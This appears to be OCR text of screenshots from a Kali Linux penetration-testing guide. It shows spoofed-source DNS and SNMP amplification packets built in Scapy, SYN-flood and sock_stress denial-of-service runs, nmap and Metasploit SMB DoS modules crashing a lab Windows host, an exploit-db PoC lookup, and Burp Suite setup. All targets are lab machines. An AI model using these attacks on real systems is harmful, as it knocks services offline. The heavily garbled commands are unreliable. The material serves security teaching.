>>> i.display()
1###

i.dst = "192.168.68.2"

>>> i.display()
#i#([ 1###

File Edit View Search Terminal Help
u = UDP()

>>> u.display()

###[ 1###
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File Edit View Search Terminal Help
d = DNS()

File Edit View Search Terminal Help
> rd =1
.qdcount =1
d.display()
1###
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File Edit View Search Terminal Help
q = DNSQR()

File Edit View Search Terminal Help
q.qname 'yahoo.com'
q.qtype = 255

>>> q.display()

File Edit View Search Terminal Help
d.qd = q

>>> d.display()

###[ 1###
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File Edit View Search Terminal Help
> request = (i/fu/d)
request.display()
#H#[ 1###

13

File Edit View Search Terminal Help
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File Edit View Search Terminal Help
Begin emission:
.Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining 0 pac

File Edit View Search Terminal Help
request = (i/u/d)
i "192.168.68.139"
)

request = (i/u/d)
request

File Edit View Search Terminal Help

Sent 1 ckets

send(request)

Sent 1 packets.
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michaelhixon@ubuntu:™5 sudo tcpdump -i ens33 src 192.168.68.2 -vv

tcpdump: listening on ens33, link-type EN1OMB (Ethernet), capture size 262144 bytes

04:26:40.738554 IP (tos Ox0, ttl 128, id 17594, offset 0, flags [nonel, proto UDP (17), length 525)
192.168.68.2.domain > 192.168.68.139.domain: [udp sum okl O q: ANY? yahoo.com. 16,04 yahoo.com.

S0A nsl.yahoo.com. hostmaster.yahoo-inc.com. 2017022003 3600 300 1814400 600, yahoo.com. A 206.190.

36.45, yahoo.com. A 98.139.183.24, yahoo.com. A 98.138.253.109, yahoo.com. AARARA 2001:4998:58:c02: a9

» yahoo.com. ARAA 2001:4998:c:ab6::2:4008, yahoo.com. AAAA 2001:4998:44:204::a7, yahoo.com. MX mta?.
am@ .yahoodns.net. 1, yahoo.com. HX mtab.am0.yahoodns.net. 1, yahoo.com. MX mta5.am0.yahoodns.net. 1,
yahoo.com. NS nsbS.yahoo.com., yahoo.com. NS ns4.yahoo.com., yahoo.com. NS nsl.yahoo.com., yahoo.con
. NS nsZ.yahoo.com., yahoo.com. NS ns3.yahoo.com., yahoo.com. TXT "v=spfl redirect=_spf.mail.yahoo.c
om" ar: nsl.yahoo.com. A 68.180.131.16, nsZ2.yahoo.com. A 68.142.255.16, ns3.yahoo.com. A 203.84.221.
53, ns4.yahoo.com. A 98.138.11.157 (497)

File Edit View Search Terminal Hel
send(IP(d "192.168.68.2" 192.168.68.139") /UDP( ) /DNS(rd=1, gdcount=1, qd=DNSQR(gname="yahoo.com",qtype=255) ) ,verbose=1, count=2) |g

2 packets.

File Edit View Search Terminal Help
i=1IP()

16.69.129"

File Edit View Search Terminal Help
u = UDP()
u.display()
J#E
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h Terminal Help
u.dport 161
u.sport = 161
u.display()
###[ | ###

h Terminal Help

snmp = SNMP()
snmp.display()
1###

Terminal Help
bulk = SNMPbulk()
>>> bulk.display()
###( 1###

Terminal Help
bulk.max repetitions = 58
bulk.varbindlist=[SNMPvarbind(oid=ASN1 0ID('1.3.6.1.2.1.1"}),SNMPvarbind(oid=ASN1 0ID{'1.3.6.1.2.1.19.1.3"))]
bulk.display()
### ([ |###

Terminal Help
snmp.PDU = bulk
snmp.display()

JE




File Edit View Search Terminal Help
=3 reque! (

->> request.display()
#i#[ |###

[190]



Flle Edit View Search

- ans = srl{req
Begin emission:
Finished to send 1 p

Terminal Help
t,verbose=1, timeout=5)

aining @ p
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File Edit Vie rch  Terminal Help

»»> srl(IP(dst="172.16.69.129")/UDP(sport=161,dport=161)/SNMP(PDU=SNMPbulk(max repetitions=50,varbindlist=[SNMPvarbind{oid=ASN1 0ID{'1l.3}g
.6.1.2.1.1")) ,SNMPvarbind (oid=ASN1 0ID({'1.3.6.1.2.1.19.1.3'))])),verbose=1, timeout=5)

Begin emission:

Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining O packets
< = = = = = = src=172.16.69.129 dst=172.16.69.133

= < = = = =

File Edit Terminal Help
72 69.129",5rc="172.16.69.133" ) /UDP(sport=161,dport=161)/SNMP(PDU=SNMPbulk(max repetitions=5@,varbindli
ind{oid=ASN1 0ID('1.3.6.1.2.1.1")),SNMPvarbind{oid=ASN1 0ID('1.3.6.1.2.1.19.1.3'))])),verbose=1, count=2)

één[ 2 packets.

cpdunp: listening on ens33, link-type EN1OMB (Ethernet), capture size 262144 bytes

6:06:50.200144 ARP, Ethernet (len 6), IPud (len 4), Reply 172.16.69.129 is-at 00:0c:29:94:63:4b

i Unknoun), length 46

6:06:50.234885 IP (tos O0x0, ttl 128, id 1266, offset 0, flags [+]1, proto UDP (17), length 1500)
172.16.69.129.swmp > 172.16.69.133.swmp: [lenl468<asnlen2Z2?4]

6:06:50.234890 IP (tos Ox0, ttl 128, id 1266, offset 1480, flags [nonel, proto UDP (17), length 826

Eiuhdﬁ]hixnnﬂuhuntu:"$ sudo tcpdump -i ens33 src 172.16.69.129 -vv
10

172.16.69.129 > 172.16.69.133: udp I
06:06:50.237231 IP (tos 0x0, ttl 128, id 1267, offset 0, flags [+]1, proto UDP (17), length 1500)

I 17Z2.16.69.129.somp > 172.16.69.133.snmp:  [lenl468<asnlenZZ?4] 1
06:06:50.237236 1P (tos 0x0, ttl 128, id 1267, offset 1480, flags [nonel, proto UDP (17), length 826

P
! 172.16.69.129 > 172.16.69.133: udp |
'06:06:50 .389442 ARP, Ethernet (len 6), IPv4 (len 4), Request who-has ubuntu tell 172.16.69.129, leng
h 46
06:06:50.389758 IP (tos Ox0, ttl 128, id 1268, offset 0, flags [nonel, proto TCP (b)), length 40)
172.16.69.129 . hostmon > ubuntu.35800: Flags [R.], cksum 0x2744 (correct), seq 0, ack 161676028,
in 0, length ©
6:06:55.447190 ARP, Ethernet (len 6), IPv4 (len 4), Reply 172.16.69.129 is-at 00:0c:Z29:94:63:4b (ouy
Ii Unknown), length 46




File Edit View Search Terminal Help
E i=1IP()
i.display()

> i.dst = "172.16.69.128"

i.display()
#HHE[ |E:=:=::

[193 ]



File Edit View Search Terminal Help

[194 ]
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>>> response = srl{i/t,verbose=1,timeout=3)
Begin emission:

Finished to send 1 packets.

Received 2 packets, got 1 answers, remaining @ packets
> response.display()
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File Edit View Search Terminal Help
request = (i/t)
request.display()

[ 14t

File Edit View Search Terminal Help

>>> sr1{IP(dst="172.16.69.128")/TCP())
Begin emission:

.Finished to send 1 packets.

*

Received 2 packets, got 1 answers, remalnlng 0 packets

src=172.16 st=192.168
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:~# ./syn_Tlood.py
Usage - ./syn_flood.py [Target-IP] [Port Number] [Threads]
Example - ./sock stress.py 10.0.0.5 80 20
Example will perform a 20x multi-threaded SYN flood attack
against the HTTP (port 80) service on 10.0.0.5

:~# ./syn_flood.py 172.16.69.128 80 20
Performing SYN flood. Use Ctrl+C to stop attack.

nsfadmin@metasploitable:™§ etstat | grep ESTABLISHED

udp 0] 0 localhos 962 localhost :52962

shared buffers
0 21

ESTABL ISHED

cached

131

File Edit View Search Terminal Help
:~# ./sock _stress.py 172.16.69.128 21 20

The onslaught has begun...use Ctrl+C to stop the attack
~C

You pressed Ctrl+C!

Fixing IP Tables

Segmentation fault
= |
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o

156935 ESTABL ISHED
56966 ESTABL ISHED
56960 ESTABLISHED
156944 ESTABL ISHED
:56948 ESTABLISHED
56938 ESTABLISHED
156930 ESTABL ISHED
156951 ESTABLISHED
:56939 ESTABL ISHED

@

172 .16.69.128: 172.

1
1
1
|
172. .69.128: 172. 1
172. .69. - 172. 1
172. .69. : 172. 1
172. .69. : 172. 1
172. .69. - 172. |
172. .69. :f 172. 1:56961 ESTABL ISHED
172. .69. : 172. 1:56976 ESTABL ISHED
172. .69, : 172. : .1:56928 ESTABL ISHED
1
|
1
|
1
1
1
1
1
1
1

o0

loNollollc

172. .69.128: 172. 156945 ESTABL ISHED
172. .69.128: 172. : .1:56936 ESTABL ISHED
172.16.69. : 172.16.69.1:56937 ESTABL ISHED
172. .69. : 172. .69.1:56943 ESTABL ISHED
172.16.69. : 172 .16.69.1:56962 ESTABL ISHED
172.16.69. : 172.16.69.1:56931 ESTABL ISHED
172.16.69. :f 172.16.69.1:56970 ESTABL ISHED
172.16.69. H 172.16.69.1:56947 ESTABLISHED
172.16.69. : 172.16.69.1:56952 ESTABL ISHED
172.16.69. : 172.16.69.1:56972 ESTABL ISHED
172.16.69. A I 172.16.69.1:56965 ESTABL ISHED
® localhost localhost :52962 ESTABL ISHED
S

cloNoloNolololol
SO0 ODOCOOOODOOO

oo NoNol

oD

ool

total used shared buffers cached
503 497 0 0 57
/+ buffers/cache: 439
Swap: 0] 0
mnsfadmin@metasploitable:™S free
total used shared buffers cached
Mem: 503 461 (0] 0 58
/+ buffersscache: 403
Swap: 0] 0
msfadmin@metasploitable:™S free
total used shared buffers cached
503 375 0 0 58
buffers/cache: 316
0 0
msfadmin@metasploitable:™$ free
total used shared buffers cached
Memn: 503 285 0 0 58
7+ buffersscache: 226
Swap: 0 0
msfadmin@netasploitable:™5 free
total used shared buffers cached
Mem: 503 204 0 0 o8
-+ buffersscache: 146
Swap: 0]
msfadmin@metasploitable:™$




File Edit View Search Terminal Help

:~# ./sock_stress.py
Usage - ./sock stress.py [Target-IP] [Port Number] [Threads]
Example - ./sock stress.py 10.0.0.5 21 20
Example will perform a 20x multi-threaded sock-stress DoS attack
against the FTP (port 21) service on 18.8.08.5

Make sure you target a port that responds when a connection is made
:~# ./sock stress.py 172.16.69.128 21 20

The onslaught has begun...use Ctrl+C to stop the attack

File Edit View Search Terminal Help

:~# grep dos /usr/share/nmap/scripts/script.db | cut -d "\"" -
broadcast-avahi-dos.nse
http-slowloris.nse
ipv6-ra-flood.nse
smb-flood.nse
smb-vuln-conficker.nse
smb-vuln-cve2009-3103.nse
smb-vuln-msB6-025.nse
smb-vuln-ms@7-029.nse
smb-vuln-ms08-067.nse
smb-vuln-msl0-054.nse
smb-wvuln-regsvc-dos.nse

~# 1

File Edit View Search Terminal Help
:~# cat /usr/share/nmap/scripts/smb-vuln-msl0-054.nse | more
local bin = require "bin"
local smb = require "smb"
local vulns = require "vulns"
local stdnse = require "stdnse"

description = [[

Tests whether target machines are vulnerable to the msl0-054 SMB remote memory
corruption vulnerability.

The vulnerable machine will crash with BSOD.

The script requires at least READ access right to a share on a remote machine.
Either with guest credentials or with specified username/password.

- @usage nmap -p 445 <target> --script=smb-vuln-msl0-054 --script-args unsafe

- @args unsafe Required to run the script, "safety swich” to prevent running it by accident
-- @args smb-vuln-msl@-054.share Share to connect to (defaults to SharedDocs)
- @output
- Host script results:
| smb-vuln-ms10-054:
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File Edit View Search Terminal Help

- @usage nmap -p 445 <target> --script=smb-vuln-msl0-054 --script-args unsafe

-- @args unsafe Required to run the script, "safety swich" to prevent running it by accident
-- @args smb-vuln-msl0-054.share Share to connect to (defaults to SharedDocs)
- @output
- Host script results:
smb-vuln-ms10-054:
VULNERABLE :
SMB remote memory corruption vulnerability
State: VULNERABLE
IDs: (CVE:CVE-2010-2550
Risk factor: HIGH CVSSv2: 10.@ (HIGH) (AV:N/AC:L/Au:N/C:C/TI:C/A:C)
Description:
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
does not properly validate fields in an SMB request, which allows remote attackers
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."

Disclosure date: 2010-08-11

References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550
http://seclists.org/fulldisclosure/2010/Aug/122

author = "Aleksandar Nikolic"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html”

categories = {"vuln","intrusive", "dos"}

hostrule = function(host)

File Edit View Search Terminal Help
:~# nmap -p 445 172.16.69.129 --script=smb-vuln-msl0-054 --script-args unsafe=1

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-20 15:42 EST
Nmap scan report for 172.16.69.129

Host is up (0.00020s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:
smb-vuln-ms10-054:
VULNERABLE:
SME remote memory corruption vulnerability
State: VULNERABLE
IDs: CVE:CVE-2010-2550
Risk factor: HIGH CVSSv2: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
does not properly validate fields in an SMB request, which allows remote attackers
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."

Disclosure date: 2010-08-11

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550
http://seclists.org/fulldisclosure/2010/Aug/122
http://cve.mitre.org/cgi-bin/cvename. cgi?name=CVE-2010-2550

Nmap done: 1 iP address (1 host up) scanned in 21.24 seconds
~#
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File Edit View Search Terminal Help
##
# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core’
class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft IIS 6.0 ASP Stack Exhaustion Denial of Service',
'Description’ => %q{
The vulnerability allows remote unauthenticated attackers to force the IIS server
to become unresponsive until the IIS service is restarted manually by the administrator.
Required is that Active Server Pages are hosted by the IIS and that an ASP script reads
out a Post Form value.
H
"Author’ =>
[

'Heyder Andrade <heyder[at]alligatorteam.org=>',
'Leandro Oliveira <leadro[at]alligatorteam.org>'
])
'License’ => MSF_LICENSE,
'References’ =>
[
'CVE', '2010-1899' 1,
'0SvVDB', '67978'],

[
[
[ 'MSB', 'MS10-065'],
[ 'EDB', '15167' ]

1.
'DisclosureDate' => 'Sep 14 2010'))
register options(

[
Opt::RPORT(80),
OptString.new('VHOST', [ false, 'The virtual host name to use in requests']),
OptString.new('URI', [ true, 'URI to request', '/page.asp' ])
1, self.class )
end

def run
uri = datastore['URI']
print_status("Attacking http://#{datastore[ 'VHOST'] || rhost}:#{rport}#{uri}")

begin
while(1)
begin
connect
payload = "C=A&" * 40000
length = payload.size




File Edit View Search Terminal Help
:/# msfconsole

ds, dsp
dsp "BP d888888p
d888888P 788"
d8hd8b.d8p d8888b 788" d888h&h dsp ?8b 88P
88P°7P'7P dBb_,dP 88P d8P' 788 d8P d8888b $whi?88b 88b
d88 d8 78 88b 88b 88b ,88b 788, .d88b, d88 d8P' 788 88P "78b
d88' dssb 8b 78888P' 78b  788P" '788"' 788 788 88b d88 dBs
88b dsP 88b" 78888P'
888888P"  88n
d8sp’

Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

mets t vd. ] 15 1
1613 exploits - 915 auxiliary - 279 post |
471 payloads - 39 encoders - 9 nops |
Free Metasploit Pro trial: http://r-7.co/trymsp ]

[203]



File Edit View Search Terminal
mst > search dos

Help

Matching Modules

‘android_stock bro iframe

s _http pe

ion Denial
auxiliar

Disclosure Date

normal

normal
normal

normal
norms
norma

normal
normal
normal

normal
normal
normal

normal
normal

normal
normal
Hﬂrﬂq1
013-05-38 3

normal
2013-10-

2012-11
2013-12-0

normal
normal
normal

Description

Android Stock Bro
C o I0S HTTP GET

ISC DHCP 7

Denial of
NFS RPC

Canon Wireless Printer Denial Of Service
Dell OpenManage POST Request Heap Overflow (wi
ion Exhaust

F5 BigIP Access Policy Ma

enial of Service
Vulnerability
ew MIME Memory Exhausti

Node.js HTTP Pipel
NFR Agent Heap Overfl
Ruby on Rails Action

Flle Edit View Search Terminal Help
search /dos/windows/smb/

ching Modules

5mb7 negotiate pidhigh
on_logoff
a6

windows/smb/ms10 negotiate response loop

mb/ms18 @54 que

pool overflow

normal
normal
normal
normal
normal
normal
normal

normal

normal
normal

normal

Description

gistry Overflow
Wrxte Corruption

Microsoft

Microsoft B2 Logoff Remote Kernel NULL

Microsoft Windows 7 / Server 2008 R2 SMB Client I

Microsoft Windows SRV.SYS SrvSmbQueryFsInformatio

Wind Browser Pool DoS
RRAS InterfaceAdjustVLSPointers NULL De|

HlLFDFOTT

Microsoft a SPB SMB Negotiate Protocol DoS
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File Edit View Search Terminal Help

Module options (auxil ‘dos/windows/smb/ms06 063 t

Name Current Setting Required Description

The target addr
The SMB service port

File Edit View Search Terminal Help
iliary( ) et RHOST 172.16.69.129
172.16.69.129
S E] ) = show options

Module options (auxiliary/

Name Cu ting Required

RHOST 172.16. g The target
RPORT 445 The SMB s

Flle Edit View Search Terminal Help

) run

- Connecting to t
Sending bad SM
Sending bad SMB transaction

- Sending bad SMB tr

transaction
tion completed
) =
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A problem has been detected and windows has been shut down To prevent damage
[tO your computer.

1T this is the first time you've seen this Stop error screen,
restart your computer. IT this screen appears again, follow
these steps:

iCheck to be sure you have adeguate disk space. If a driwver is
identified in the Stop message, disable the driver or check
mith the manufacturer for driver updates. Try changing video
adapters.

“heck with your hardware wvendor for any BIOS updates. Disahle
BIOS memory options such as caching or shadowing. If you need
to use safe Mode to remove or disable components, restart your
computer, press F8 to select advanced sStartup options, and then
select safe mode.

Technical information:

Huw STOP: Ox0000007E (OxCO00Q0005, 0x80535574, 0xB2DFEBCLC, OxB2DFBY1S)
Beginning dump of physical memory

Physical memory dump complete.

Contact your system administrator or technical support group for further
assistance.

Flle Edit ¢ Search Terminal Help

:/# grep SMB /usr/share/exploitdb/files.csv
1065, platforms/windows/dos/1065.c, "Microsoft Windows - 'SMB' Transaction Response Handling Exploit (MSE5-811)",2085-06-23,cybertronic,win
dows,dos, 0
6463, platforms/windows/dos/6463.rb, "Microsoft Windows - WRITE ANDX SMB command handling Kernel Denial of Service (Metasploit)",20688-09-15
,"Javier Vicente Vallejo",windows,dos,®
9594, platforms/windows/dos/9594 ., txt,"Microsoft Windows Vista/7 - SMB2.© Negotiate Protocol Request Remote Blue Screen of Death (MSE7-863)
*,2009-09-089, "laurent gaffie",windows,dos,@
12258, platforms/windows/dos/12258.py, "Microsoft Windows - SMB Client-Side Bug PoC (MS516-006)",2018-84-16,"laurent gaffie”,windows,dos,B8
12273, platforms/windows/dos/12273.py, "Microsoft Windows 7/2008R2 - SMB Client Trans2 Stack Overflow (MS10-020) (PoC)",2010-04-17,"laurent
gaffie",windows,dos,®
12524, platforms/windows/dos/12524.py, "Microsoft Windows - SMB2 Negotiate Protocol (6x72) Response Denial of Service”,2018-85-87,"Jelmer d
e Hen",windows,dos,®
13906, platforms/novell/dos/13906. txt, "Netware - SMB Remote Stack Overflow (PoC)",2010-06-17,"laurent gaffie”, novell,dos,b 139
14607, platforms/windows/dos/14687.py, "Microsoft - SMB Server Trans2 Zero Size Pool Alleoc (MS10-854)",2010-88-16,"laurent gaffie",windows,
dos, @
21746, platforms/windows/dos/21746.c,"Microsoft Windows 2808/NT 4/XP - Network Share Provider SMB Request Buffer Overflow (1)",2082-88-22,
"Frederic Deletang",windows,dos,®
21747, platforms/windows/dos/21747 . txt, "Microsoft Windows 2008/NT 4/XP - Network Share Provider SMB Request Buffer Overflow (2)",2002-08-2
2, zamolx3,windows ,dos,@
28601, platforms/windows/dos/28061.c, "Microsoft SMB Driver Local Denial of Service",2806-86-13, "Ruben Santamarta”,windows,dos,B
29767, platforms/hardware/dos/29767. txt, "ZYXEL Router 3.40 Zynos - SMB Data Handling Denial of Service”,2007-03-20,"Joxean Koret" hardware

,dos,0

40744, platforms/windows/dos/48744. txt, "Microsoft Windows - LSASS SMB NTLM Exchange Null-Pointer Dereference (M516-137)",2016-11-89,"laure
nt gaffie",windows,dos,®

27766, platforms/linux/local/27766.txt, "Linux Kernel 2.6.x - SMBFS CHRoot Security Restriction Bypass",2006-84-28,"Marcel Holtmann",linux,
local,®

20, platforms/windows/remote/20. txt, "Microsoft Windows - SMB Authentication Remote Exploit",2803-84-25,"Haamed Gheibi,windows, remote,139

4478, platforms/linux/remote/4478.c, "smbftpd 6.96 - SMBDirList-function Remote Format String”,2087-108-81,"Jerry Il1likainen",linux,remote,2
1




File Edit View Search Terminal Help
:/# grep SMB /L are/ file | arep dos
f 4 0 'SMB' Transactio ponse Handling E (Ms@5-0811)",2005-0

- WRITE ANDX SMB command handling Kernel Denial of Service (Metasploit)"”,2008-09-15

Vista/7 - SMB2.© Negotiate Prot 1 Requ 2 3lue Screen of Death (MSB7-

Windows MB ( t-Side Bug Po ! laurent gaffie" ,windows,dos,®
ft Windows 7/ - SMB Client Tra 5 k 0 fl (M518-82 [ 2010-04-17, "I,aurent

Windows - SMB2 Negotiate Protocol ( 2 esponse Deni Servi . 8-05-87 lmer dj
LE .windcn

- SMB F\emrtn Stack Overflow (PoC)
Size Po

- Network Share Provider SMB Request Buffer Overflow (1)",2002-088-22,
,"Microsoft Windows 2006/NT 4 - work Share Provider SMB R st Buffer Overflow 02-08-2|

28001.c, "Microsoft SMB D|1v~r - Local Denial of Service",2006-086-13, "Ruben Hantan‘arta windows,dos,0
9767.txt, "ZYXEL Router 3. 0s - SMB Data Handling [\Pmal of Service" 7-83 ] 1 Koret”,

“Microsoft Windows - LSASS SME NTLM Exchange Null-Pointer Derefere

| arep py | grep -v "Windows 7"
t-Side Bug PoC (MS16-866)
e Protocol (6x72)

]
indows/dos/14687.py, "Microsoft - SMB Serwv rans? 2 e Pool Alloc (MS10-054)",2010-088-18,"laurent gaffie",windows,

Flle Edit View Search Terminal Help

atforms/windows/dos/14687.py /roo

Flle Edit View Search Terminal Help

4 x##ﬂ####ﬂ###t####mﬁw##w 2
54 Proof 0 e'
python "+s argv[@ E-NAME (No backslash)'
print : !
print °
print '
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token °

Help

Flle Edit View Search Terminal

pE3

print
print
print
print
print
print

pac go \
-- INSERT -- Top @

File Edit View Search Terminal Help

ys.argv[1]),
6L, 3613C

Flle Edit View Search Terminal Help

at
Lformed Trans2

[#]The target should be
it#
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Chapter 8: Working with Burp Suite

Burp Suite Free Edition v1.7.03 e ® O
| 7] Welcome to Burp Suite Free Edition. Use the options below to create or /
" open a project,
® Temporary project

New ject on dis} File: e file...

Open existing project Name File

| cancel | | Next |
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-
Burp Suite Free Edition v1.7.03 @ ® 0O

}ﬂ Select the configuration that you would like to load for this project. 4 f l l | | |
L

® Use Burp defaults

Use options saved with project

(U Load from configuration file File

File: | Choose file...

[_J Default to this option in future

Cancel J | Back J | start Burp J

2
Burp Proxy uses listeners to receive incoming HTTP requests from your browser. Yor

|£J server,

| Add JRunning | Interface | Invisible | Redirect

] 127.0.0.1:8080 )]
| Edit
| Remove

Each installation of Burp generates its own CA certificate that Proxy listeners can us
for use in other tools or another installation of Burp.
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Preferences - Mozilla Firefox @ ® 0

@ Mozilla Firefox Web B.. x @ Firefox — Features .. % Kali Linux, an Offensive S... x| 1k Preferences x |

| € ) © Firefox | about:preferencestadvanced @ | |Q Search % B8 ¥ @

[ Most Visited v JllOffensive Security % Kali Linux 4 Kali Docs “& Kali Tools KBExploit-DB Wy Aircrack-ng

General AdvanCEd

arch
General Data Choices Network Update Certificates
| SR

ntent

Applicatio Connection
Configure how Firefox connects to the Internet

Privacy

Cached Web Content
Your web content cache is currently using 841 KB of disk space Clear Now

Override automatic cache management

Advanced Limit cache to| 350 MB of s
Offline Web Content and User Data
Your application cache is currently using 0 bytes of disk space Clear Now
¥ Tell me when a website asks to store data for offline use Exceptions...

The following websites are allowed to store data for offline use:

v

Choose What | Share| x

| Firefox automatically sends some data to Mozilla so that we can improve your experience.
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Connection Settings

Configure Proxies to Access the Internet
) No proxy
) Auto-detect proxy settings for this network
() Use system proxy settings
@ Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 | Port:

.[Uge this proxy server for all pmtocols]

SSLProxy: [127.0.0.1 | Port: [

ETP Proxy: [ 127.0.0.1 | Port: |

SOCKS Host: [ 127.0.0.1 | Port: |

D SOCKS v4 () SOCKS v5 (JRemote DNS
No Proxy for:

localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24
) Automatic proxy configuration URL:

[ | [ Reload

["J Do not prompt for authentication if password is saved

elp Cancel ‘ [ OK

¢ Connecting... x | &

f:(- J | www.packtpub.com

Most Visited v [l Offensive Security " Kali Linux %
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[ Burp Suite Free Edition v1.7.03 - Temporary Project @ e O
Burp Intruder Repeater Window Help

[Target T Prox T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIerts ]

Intercept T HTTP history T WebSockets history T Options ]

\}| Request to http:fwww.packtpub.com:80 [83.166.169.231]
‘ Forward ‘ I Drop J | Intercept is on | Action H w
Raw | Headers | Hex

GET / HTTP/1.1
Host: www.packtpub.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

>

QJ Specify a regular expression to match each URL component, or leave blank to
match any item. An IP range can be specified instead of a hostname,

Protocol: lH'I'I'P ."J

Host or IP range: |~ 172\.16\.69\.128%

Port: | ~804 |

File: Enter regex or leave blank

Paste URL [ oK J [ Cancel J

[214]



Burp Intruder Repeater Window Help

[Target I Proxy | Spider | Scanner T Intruder TRepeater ISequencer TDecoder ] Cornparer T Extender I Project options T User options Tmens ]

_[ CnntroiI Options ]

2| Spider Status
&5

Use these settings to monitor and centrol Burp Spider. To begin spidering, browse to the target application, then right-click one or more nodes in the target site map,
and choose "Spider this host / branch"

| Spider is paused | Clear queues

Requests made: 94

Bytes transferred: 3,634,404
Requests queued: 206
Forms queued: 19

Spider Scope

@ (=

® Use suite scope [defined in Target tab)]
() Use custom scope
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Burp Spider needs your guidance to submit a login form. Please choose the value of each form field which should be
used when submitting the form. You can control how Burp handles forms in the Spider options tab.

Action URL: httpy/172.16.69.128/dvwa/login.php

Method: POST
Type | Name | value
Password password
Submit Login=Login
Text username

[ Submit form J [ Ignore form J
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Burp Intruder Repeater Window Help
_[Targd: 1Llf'rox:,r Spider T Scanner Tlmmder T Repeater T Sequencer TDecoder ] Comparer TEx‘tender TProiect options T User options TAlerts

J Site mnp_r Scope ]

Filter: Hiding out of scope and not found iterns: hiding CSS, image and general binary content: hiding 4xx responses: hiding empty folders |2
g 9 ge and g ry 9 g empty 2
¥ [ http:/f172.16.69.128 Contents Issues
. Q'g Host | Method | URL
» :" dxa http:/172.16.69.128  GET utillidaey s
» BB icons http://172.16.69.128 GET Jmutillidae/?page
| ‘r_ RS httnw172 16.§9.128  GET jmutilidae/zpage
[ http://172.16.69.128/mutillidae 9,128  GET jmutillidae/?page=1
8/ e
» B3 documentat Remave from scope 9.128 GET jmutillidae/?page=1
O framer.html r this branch GET fmutilldae/zpage=
[ function.fso Actively scan this branch P 52 fmutilidae/7page={
i b y‘ iy 9128  GET  jmutilidae/7page=1
.9 s Eansivehscantniaband 9128 GET  /mutilidae/tpage=1
Lk Engagement tools » (9128 GET jautillidaejdocurme®
» [ javascript : v
[} set-up-data Compare site maps L7 T
» [0 styles Expand branch
» B3 cops Expand requested items sponse _iAd\nnory
» [ phpMyAdmin Collapse branch Irs TH“ ]
> : I’CIH. Delete branch Has/ HTTP/1.1 r
» [0 twiki Copy URLs in this branch 69.128 1
> B view Copy links in this branch
Save selected items pge: en .
: Mozilla/5.0 (compatible; MSIE
Eie NF 6.1; Win4; x64;
View
Show new site map window Lose
T :1//172.16.69.128/
.
A4
? < + > 0 matches
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Burp Intruder Repeater Window Help

(Target Proxy | Spider | Scanner I Intruder T Repeater T Sequencer I Decoder T Comparer T Extender rFruiect options Tuser options Tmens ]

[lmemepl me: hisloryT ‘webSockets histary I Options ]

| Filter: Hiding CSS. image and general binary content

2

|

|# 4|Host | Method | URL | Params |Edited |Status |Length |MIME type |Extension | Title

1 http://172.16.69.128 GET / (3] =) 200 1086 HTML Metasplottable2 - Lin &

2 http://172.16.69.128 GET ffavicon.ico [m] (] 404 478 HTML ico 404 Not Found

3 http://172.16.69.128 GET Jrwikif o O =200 1067 HTML welcome to Twiki - A

4 http:}/172.16.69.128 GET JwikiMwikiHistory. htrnl a O =200 52679 HTML html TwikiHistory

5 http://172.16.69.128 GET IphpMyAdmin/ =] =] 200 5004 HTML phpMyAdmin

12 http://172.16.69.128 GET Jmutillidae; a O 200 24659  HTML

13 http://172.16.69.128 GET Jmutillidagfindex.php?page=login.... ] O 200 25802  HTML php

14 http://172.16.69.128 GET Jmutillidaejindex.php?do=toggle- 7] (] 302 381 HTML php

15 http://172.16.69.128 GET Jmutillidaefindex.php?page=login.... ] (] 200 25834  HTML php

16 http://172.16.69.128 GET Jmutillidag/set-up-database.php g ) 200 3041 HTML php

17 http://172.16.69.128 GET Jmutillidae/index.php (3] g =200 24605  HTML php

18 y172.16.69.128 GET jmutillidaefindex.php?page=show... ] 3] 200 23647  HTML php Y
[f = s : - - Y-
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Burp Intruder Repeater Window Help

[Target Fioo | spider IScanner I Intruder I Repeater Isaquen:er TDecader T Comparer I Extender IProiect options Iuser options Tmens }

j“.ll—:lLtpiTHﬂp history I WebSockets history I Options ]

L’J Request to http://172.16.69.128:80
L Forward | { Drop | | Intercept is on Action |

Raw | Params | Headers | Hex

GET smutillidae/index.php?page=login.php HTTP/1.1

Host: 172.16.69.128

User-Agent: Mozilla/5.0 (X11; Linux x88_64; rv:45.0) Gacko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;g=0.8
Accept-Language: en-US,en;q=0.5

Referer: http://172.16.69.128/mut1ll1dae/1ndex.php?page=captured-data.php
Cookie: PHPSESSID=7Sef8Baff3c6d335e90af 43c80dob16e

Connection: close

1f-Modified-Since: Fri, 03 Mar 2017 14:59:44 GMT

Ve

e
v

0 matches
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Burp Intruder Repeater Window Help

